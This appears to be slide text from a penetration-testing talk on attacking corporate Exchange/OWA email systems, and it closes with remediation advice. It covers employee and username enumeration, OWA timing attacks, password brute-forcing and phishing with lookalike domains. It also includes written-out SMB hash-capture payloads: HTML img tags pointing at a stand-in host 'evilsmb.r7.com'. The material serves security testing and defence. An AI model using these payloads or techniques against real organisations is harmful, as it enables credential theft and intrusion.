Hacking Corporate Em@il Systems
Hacking Corporate Em@il Systems
Hacking Corporate Em@il Systems
Nate Power
Penetration Methodology
What We are Covering
Typical Information Gathering:
• Email address formats / Email domain
• Employee names / Username formats
• SMTP locations
• Webmail locations
1) Linkedin
2) Facebook
3) ZoomInfo.com
4) Connect.data.com (jigsaw)
5) Company website employee directory
6) Metadata
7) Census Bureau data
Gather Employee Names
1) Scrap Linkedin
1) Mail routes
2) Mail system types i.e. Exchange 2007
3) Active Directory domain
4) Internal hostname / naming conventions
5) Internal Exchange IP address
Webmail Services
Locate Webmail System - Autodiscover
SEEN ON : Exchange 2007 SP2, 2010, 2013
Client Access Server - Autodiscover
<email-domain>/Autodiscover/Autodiscover.xml
autodiscover.<email-domain>/Autodiscover/Autodiscover.xml
DEMO
A1
OWA Webmail - Internal IP
IIS reveals internal address
SEEN ON : OWA 2003, CAS 2007, 2010, 2013
DEMO
A2
Key Information for Credential Extraction
Request
OWA- AD Domain Enumeration
Response
Decoded base64
Identify Valid Usernames
Format Employee Names to Usernames
/Autodiscover/Autodiscover.xml
/EWS/Exchange.asmx
OWA Timing Attack
DEMO
B4 B5
Identify Weak Passwords
via brute-force password guessing
Brute-force Password Guessing
Password Analysis
• Season – Fall2015
• Month – October15
• Company name – Acme2015
• Dictionary words – Password1
Brute-force Password Guessing
DEMO
C8
OWA Information Extraction
Mailbox Keyword Search
Mailboxes are commonly used as storage:
1) Helpdesk tickets
2) Active Directory default passwords
3) Application / Database passwords
4) VPN documentation
5) Wireless passwords / documentation
6) Sensitive documents
• IP, PII, SSN, CC, etc
Extract Global Address List
Autodiscover Issues :
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/.....
<Request>
<EMailAddress>joe.johnson@example.com</EMailAddress>
<AcceptableResponseSchema>http://schemas.microsoft.com/.....
</Request>
</Autodiscover>
Autodiscover Configuration Enumeration
Autodiscover Configuration Enumeration
DEMO
C6
Other Attack Vectors
Email Phishing
Email Phishing
Phishing Email Sent
• Typical Domains Used:
• Survey web site i.e. rapid7-survey.com
• Domain closely matching actual domain i.e. rap1d7.com
• Cookies Tracking:
• Session cookie
• First time visit
• Logon attempts
• Survey completion
• Visits after completion
SMB Email Client Attack
SMB Email Client Attack
1) Checks Outlook client configuration
2) Embedded HTML image source tags in email
3) Outlook client processes UNC path and tries to connect
4) Check firewall SMB egress ports 139 and 445
5) Allows for offline brute-forcing hash or hash passing
6) Targets include:
1) Outside sales
2) IT staff / administrators
SMB Email Client Attack
<img src=“\\evilsmb.r7.com\images\logo.gif “>
<img src=“file://evilsmb.r7.com/images/logo.gif” >
SMB Email Client Attack
STORY
The snow day..
Reuse AD credentials on Services
• Web applications
• Service desk portal
• Exchange Control Panel
• Citrix
• VPN
• Wireless
• Dropbox
Reusing gathered info on Internal Network
1) SMB email client attack IT admins over VPN
3) CAS locations
• Contains passwords – Mimikatz / Kiwi
Remediation & Reduce Risk
Remediation & Reduce Risk
1) Educate users about: social sites and phishing
2) Monitor DNS for newly created domains being
processed
3) Scrub metadata in office documents
4) Disable front and backend SMTP verify commands
5) Create email aliases and unique user IDs
6) Outlook mail clients - disable HTML image processing
7) Audit email for sensitive documents and passwords
being stored
Remediation & Reduce Risk
1) Block firewall ports 139 and 445 outbound to the
Internet and internally were appropriate
2) Disable VPN split tunneling
3) Network segmentation VPN & limit connection durations
4) Apply two-factor auth where possible
5) Readjust organization password policy
6) Passwords should use pass phrases vs. random strings
7) Audit Active Directory for weak passwords and accounts
that do not expire
Remediation & Reduce Risk
1) CAS: disabled Basic Authentication / 302 redirects
Happy hour?